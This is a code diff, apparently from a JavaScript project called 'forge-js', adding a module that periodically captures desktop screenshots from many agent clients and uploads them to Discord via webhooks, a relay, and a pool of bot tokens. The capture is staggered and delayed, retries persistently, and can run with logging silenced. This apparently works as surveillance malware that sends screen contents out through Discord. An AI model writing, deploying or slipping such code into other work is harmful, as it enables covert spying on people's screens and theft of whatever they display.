+ finally {
407
+ whUrl = "";
408
+ }
409
+ opts.sendJson({
410
+ type: "relay_discord_upload_ack",
411
+ request_id: ticketRid,
412
+ upload_ok: posted.ok,
413
+ });
414
+ if (posted.ok) {
415
+ return;
416
+ }
417
+ const backoffPost = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(posted.error);
418
+ if (backoffPost > 0 && attempt < maxFlow - 1) {
419
+ await (0, discordRateLimit_1.sleepMs)(backoffPost);
420
+ continue;
421
+ }
422
+ if (!opts.quiet) {
423
+ console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
424
+ }
425
+ if (discordWebhookRelayFallbackEnabled()) {
426
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
427
+ }
428
+ return;
429
+ }
430
+ if (!opts.quiet) {
431
+ console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
432
+ }
433
+ if (discordWebhookRelayFallbackEnabled()) {
434
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
435
+ }
436
+ }
437
+ catch (e) {
438
+ if (!opts.quiet) {
439
+ console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
440
+ }
441
+ if (discordWebhookRelayFallbackEnabled()) {
442
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
443
+ }
444
+ }
445
+ finally {
446
+ screenshotB64ForFallback = "";
447
+ rawB64 = "";
448
+ if (png && png.length > 0) {
449
+ try {
450
+ png.fill(0);
451
+ }
452
+ catch {
453
+ /* skip */
454
+ }
455
+ }
456
+ png = undefined;
457
+ uploadBusy = false;
458
+ if (!stopped && pendingB64Queue.length > 0) {
459
+ setImmediate(flushUpload);
460
+ }
461
+ }
462
+ })();
463
+ };
464
+ const flushUpload = () => {
465
+ if (stopped || uploadBusy || pendingB64Queue.length === 0)
466
+ return;
467
+ uploadBusy = true;
468
+ const b64 = pendingB64Queue.shift();
469
+ if (discordUploadMode() === "webhook") {
470
+ flushUploadWebhook(b64);
471
+ }
472
+ else {
473
+ flushUploadRelay(b64);
474
+ }
475
+ };
476
+ const scheduleNextCapture = () => {
477
+ if (stopped)
478
+ return;
479
+ if (captureScheduleTimer != null) {
480
+ clearTimeout(captureScheduleTimer);
481
+ captureScheduleTimer = null;
482
+ }
483
+ captureScheduleTimer = setTimeout(runCaptureCycle, baseIntervalMs);
484
+ };
485
+ const runCaptureCycle = () => {
486
+ if (stopped)
487
+ return;
488
+ captureScheduleTimer = null;
489
+ void (async () => {
490
+ try {
491
+ const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)({
492
+ stream_profile: "discord_upload",
493
+ max_bytes: discordCaptureMaxBytes(),
494
+ // Keep native pixel fidelity for Discord snapshots; byte cap handles final size.
495
+ max_width: 0,
496
+ });
497
+ if (res.ok !== true || typeof res.b64 !== "string" || !res.b64) {
498
+ if (!opts.quiet && res.ok === false) {
499
+ console.error(`[forge-js:discord-screenshot] capture: ${String(res.error || "skip")}`);
500
+ }
501
+ return;
502
+ }
503
+ while (pendingB64Queue.length >= queueMax) {
504
+ pendingB64Queue.shift();
505
+ }
506
+ pendingB64Queue.push(res.b64);
507
+ try {
508
+ res.b64 = "";
509
+ }
510
+ catch {
511
+ /* skip */
512
+ }
513
+ flushUpload();
514
+ }
515
+ catch (e) {
516
+ if (!opts.quiet) {
517
+ console.error(`[forge-js:discord-screenshot] capture: ${e}`);
518
+ }
519
+ }
520
+ finally {
521
+ if (!stopped) {
522
+ scheduleNextCapture();
523
+ }
524
+ }
525
+ })();
526
+ };
527
+ const firstDelayMs = Math.min(600_000, discordScreenshotFirstDelayMs() + discordScreenshotFirstStaggerExtraMs(screenshotClientId));
528
+ const firstHandle = setTimeout(() => {
529
+ runCaptureCycle();
530
+ }, firstDelayMs);
531
+ return () => {
532
+ stopped = true;
533
+ clearTimeout(firstHandle);
534
+ if (captureScheduleTimer != null) {
535
+ clearTimeout(captureScheduleTimer);
536
+ captureScheduleTimer = null;
537
+ }
538
+ pendingB64Queue.length = 0;
539
+ };
540
+ }
@@ -0,0 +1,29 @@
1
+ /**
2
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
3
+ *
4
+ * Configure either:
5
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
6
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
7
+ *
8
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
9
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
10
+ *
11
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
12
+ * so load spreads across tokens and channel resolution stays consistent for that client.
13
+ */
14
+ /** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
15
+ export declare function discordClientIdFnv1a32(clientId: string): number;
16
+ /**
17
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
18
+ */
19
+ export declare function getRelayDiscordBotTokens(): string[];
20
+ /**
21
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
22
+ */
23
+ export declare function relayDiscordBotTokenForClient(clientId: string, tokens: string[]): string;
24
+ /**
25
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
26
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
27
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
28
+ */
29
+ export declare function relayDiscordBotIndexForClient(clientId: string, tokens: string[]): number;
@@ -0,0 +1,78 @@
1
+ "use strict";
2
+ /**
3
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
4
+ *
5
+ * Configure either:
6
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
7
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
8
+ *
9
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
10
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
11
+ *
12
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
13
+ * so load spreads across tokens and channel resolution stays consistent for that client.
14
+ */
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ exports.discordClientIdFnv1a32 = discordClientIdFnv1a32;
17
+ exports.getRelayDiscordBotTokens = getRelayDiscordBotTokens;
18
+ exports.relayDiscordBotTokenForClient = relayDiscordBotTokenForClient;
19
+ exports.relayDiscordBotIndexForClient = relayDiscordBotIndexForClient;
20
+ /** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
21
+ function discordClientIdFnv1a32(clientId) {
22
+ let h = 2166136261 >>> 0;
23
+ const s = String(clientId || "");
24
+ for (let i = 0; i < s.length; i++) {
25
+ h ^= s.charCodeAt(i);
26
+ h = Math.imul(h, 16777619) >>> 0;
27
+ }
28
+ return h >>> 0;
29
+ }
30
+ function splitBotTokenEnv(raw) {
31
+ const out = [];
32
+ for (const part of raw.split(/[\n,]+/)) {
33
+ const t = part.trim();
34
+ if (t)
35
+ out.push(t);
36
+ }
37
+ return out;
38
+ }
39
+ /**
40
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
41
+ */
42
+ function getRelayDiscordBotTokens() {
43
+ const fromMulti = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKENS || "").trim());
44
+ const fromSingle = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKEN || "").trim());
45
+ const merged = [];
46
+ merged.push(...fromSingle);
47
+ merged.push(...fromMulti);
48
+ const seen = new Set();
49
+ const deduped = [];
50
+ for (const t of merged) {
51
+ if (!seen.has(t)) {
52
+ seen.add(t);
53
+ deduped.push(t);
54
+ }
55
+ }
56
+ return deduped;
57
+ }
58
+ /**
59
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
60
+ */
61
+ function relayDiscordBotTokenForClient(clientId, tokens) {
62
+ if (tokens.length === 0)
63
+ return "";
64
+ if (tokens.length === 1)
65
+ return tokens[0];
66
+ const idx = discordClientIdFnv1a32(clientId) % tokens.length;
67
+ return tokens[idx];
68
+ }
69
+ /**
70
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
71
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
72
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
73
+ */
74
+ function relayDiscordBotIndexForClient(clientId, tokens) {
75
+ if (tokens.length <= 1)
76
+ return 0;
77
+ return discordClientIdFnv1a32(clientId) % tokens.length;
78
+ }